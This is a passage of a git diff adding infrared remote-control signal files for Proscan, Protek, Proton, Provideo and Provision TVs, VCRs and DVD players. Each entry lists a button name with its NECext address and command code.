+type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1C 00 00 00 +# +name: REVERSE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1D 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1F 00 00 00 +# +name: CH+ +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: CH- +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 22 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 27 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 34 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 35 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 36 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 37 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 38 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 39 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3A 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3B 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3C 00 00 00 +# +name: MARKER*ANT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 50 00 00 00 +# +name: MOVE_LEFT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 56 00 00 00 +# +name: MOVE_RIGHT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 57 00 00 00 +# +name: MOVE_DOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 58 00 00 00 +# +name: MOVE_UP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 59 00 00 00 +# +name: PLAY_MODE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 76 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 77 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 78 00 00 00 +# +name: SUBTITLE_ON/OFF +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 80 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 94 00 00 00 +# +name: AUDIO_MODE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: B0 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: F4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Proscan/TV/15,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Proscan/TV/15,-1.ir new file mode 100644 index 000000000..7288547b1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Proscan/TV/15,-1.ir @@ -0,0 +1,440 @@ +Filetype: IR signals file +Version: 1 +# +name: ANTENNA +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 05 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 06 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 08 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 08 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 0C 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 0C 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 12 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 1A 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 1B 00 00 00 +# +name: PIP_AUDIO_MONITOR +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 1B 00 00 00 +# +name: ID +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 1E 00 00 00 +# +name: PREVIOUS_CHANNEL +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 27 00 00 00 +# +name: PC +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 27 00 00 00 +# +name: PREV_CH +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 27 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2C 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2C 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2D 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2D 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2E 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2E 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2F 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2F 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 30 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 31 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 32 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 33 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 34 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 34 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 35 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 36 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 37 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 38 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 38 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 39 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 39 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3A 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3A 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3A 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3B 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3B 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3B 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3C 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3C 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3F 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3F 00 00 00 +# +name: CS +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 53 00 00 00 +# +name: SKIP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 53 00 00 00 +# +name: MOVE_LEFT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 56 00 00 00 +# +name: MOVE_RIGHT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 57 00 00 00 +# +name: MOVE_DOWN +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 58 00 00 00 +# +name: MOVE_UP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 59 00 00 00 +# +name: SURROUND +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 5A 00 00 00 +# +name: MENU_- +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 64 00 00 00 +# +name: MENU_+ +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 65 00 00 00 +# +name: CINEMA +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 90 00 00 00 +# +name: SPLIT_SCREEN +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 91 00 00 00 +# +name: SPLIT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 91 00 00 00 +# +name: POP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 92 00 00 00 +# +name: FETCH +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 93 00 00 00 +# +name: INPUT_SOURCE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: A3 00 00 00 +# +name: INPUT_SOURCE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: A3 00 00 00 +# +name: SWAP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: C3 00 00 00 +# +name: SWAP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: C3 00 00 00 +# +name: SCAN +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: C4 00 00 00 +# +name: SIZE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: C5 00 00 00 +# +name: CH_CTRL +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: E5 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Proscan/Unknown_proscan-vcr/14,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Proscan/Unknown_proscan-vcr/14,-1.ir new file mode 100644 index 000000000..24ed7af93 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Proscan/Unknown_proscan-vcr/14,-1.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: antenna +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 05 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 06 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 08 00 00 00 +# +name: track- +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 0A 00 00 00 +# +name: track+ +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 0B 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 15 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 17 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 19 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 1A 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 1C 00 00 00 +# +name: reverse +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 1D 00 00 00 +# +name: KEY_LIGHTS_TOGGLE +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 1E 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 1F 00 00 00 +# +name: fradv +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 20 00 00 00 +# +name: goback +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 27 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 2A 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 2C 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 2D 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 30 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 31 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 32 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 33 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 34 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 35 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 36 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 37 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 38 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 39 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 3A 00 00 00 +# +name: off +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 3B 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 3C 00 00 00 +# +name: speed +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 46 00 00 00 +# +name: input +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 47 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 53 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 56 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 57 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 58 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 59 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: F4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Protek/Unknown_Protek/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Protek/Unknown_Protek/1,-1.ir new file mode 100644 index 000000000..86891830f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Protek/Unknown_Protek/1,-1.ir @@ -0,0 +1,122 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 00 00 00 00 +# +name: STORE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: sp +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0A 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0E 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: CUR_DOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1C 00 00 00 +# +name: CUR_UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1D 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1E 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Proton/TV/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Proton/TV/17,-1.ir new file mode 100644 index 000000000..ef137d65a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Proton/TV/17,-1.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 02 00 00 00 +# +name: LEVEL+ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 03 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 06 00 00 00 +# +name: LEVEL- +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 07 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 08 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 09 00 00 00 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0A 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0D 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 9E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Proton/TV/2,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Proton/TV/2,-1.ir new file mode 100644 index 000000000..78065c84f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Proton/TV/2,-1.ir @@ -0,0 +1,50 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 00 00 00 00 +# +name: AV3_INPUT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 04 00 00 00 +# +name: ANT1_/_RGB +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 05 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 08 00 00 00 +# +name: ANT2 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 09 00 00 00 +# +name: TV_TUNER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0A 00 00 00 +# +name: AV2_INPUT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0B 00 00 00 +# +name: AV1_INPUT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Proton/TV/3,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Proton/TV/3,-1.ir new file mode 100644 index 000000000..c98cbd633 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Proton/TV/3,-1.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 00 00 00 00 +# +name: TV/AV +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 04 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 05 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 06 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 07 00 00 00 +# +name: RGB1/2 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 09 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0A 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0B 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0C 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0F 00 00 00 +# +name: CURSOR +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 10 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 11 00 00 00 +# +name: LEVEL- +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 12 00 00 00 +# +name: LEVEL+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 13 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 14 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 15 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 16 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 17 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 18 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1A 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1C 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1D 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1E 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Proton/TV/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Proton/TV/4,-1.ir new file mode 100644 index 000000000..225eadd61 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Proton/TV/4,-1.ir @@ -0,0 +1,110 @@ +Filetype: IR signals file +Version: 1 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: INPUT_SOURCE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 10 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 11 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 12 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 13 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 14 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 15 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 16 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 17 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 18 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 19 00 00 00 +# +name: LAST +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Provideo/Unknown_PV951/134,107.ir b/assets/resources/infrared/_CSV-IRDB_/Provideo/Unknown_PV951/134,107.ir new file mode 100644 index 000000000..4bbe94571 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Provideo/Unknown_PV951/134,107.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 09 00 00 00 +# +name: +100 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0A 00 00 00 +# +name: air/cbl +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0B 00 00 00 +# +name: autoscan +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0C 00 00 00 +# +name: ttx +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0D 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0E 00 00 00 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0F 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 10 00 00 00 +# +name: pc/tv +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 11 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 12 00 00 00 +# +name: mts +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 13 00 00 00 +# +name: sync +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 14 00 00 00 +# +name: cc +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 16 00 00 00 +# +name: ch_rtn +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 17 00 00 00 +# +name: ch+- +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 18 00 00 00 +# +name: func +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 19 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1A 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1B 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1D 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Provision/Unknown_PR-DVD2.0/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Provision/Unknown_PR-DVD2.0/1,-1.ir new file mode 100644 index 000000000..3cff51140 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Provision/Unknown_PR-DVD2.0/1,-1.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 00 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0A 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0C 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0D 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0E 00 00 00 +# +name: 